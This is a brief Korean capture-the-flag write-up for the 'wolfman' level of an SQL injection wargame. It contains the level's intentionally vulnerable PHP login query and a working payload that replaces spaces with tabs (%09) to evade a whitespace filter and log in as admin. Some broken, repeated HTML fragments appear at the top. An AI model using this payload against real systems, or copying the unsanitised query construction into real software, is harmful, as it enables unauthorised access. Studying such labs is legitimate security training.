query : {$query}

"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "

Hello {$result[id]}

"; if($result['id'] == 'admin') solve("wolfman"); highlight_file(__FILE__); ?>"> query : {$query}

"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "

Hello {$result[id]}

"; if($result['id'] == 'admin') solve("wolfman"); highlight_file(__FILE__); ?>"> query : {$query}

"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "

Hello {$result[id]}

"; if($result['id'] == 'admin') solve("wolfman"); highlight_file(__FILE__); ?>">
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

id를 admin으로 만들어야하는 cobolt 문제와 유사하지만 이번 문제에서는 띄어쓰기를 필터링합니다.

띄어쓰기 대신에 tab (%09) 를 사용하면 됩니다.

pw='%09or%09id='admin'%23

Screenshot 2024-06-03 at 1.38.35 AM.png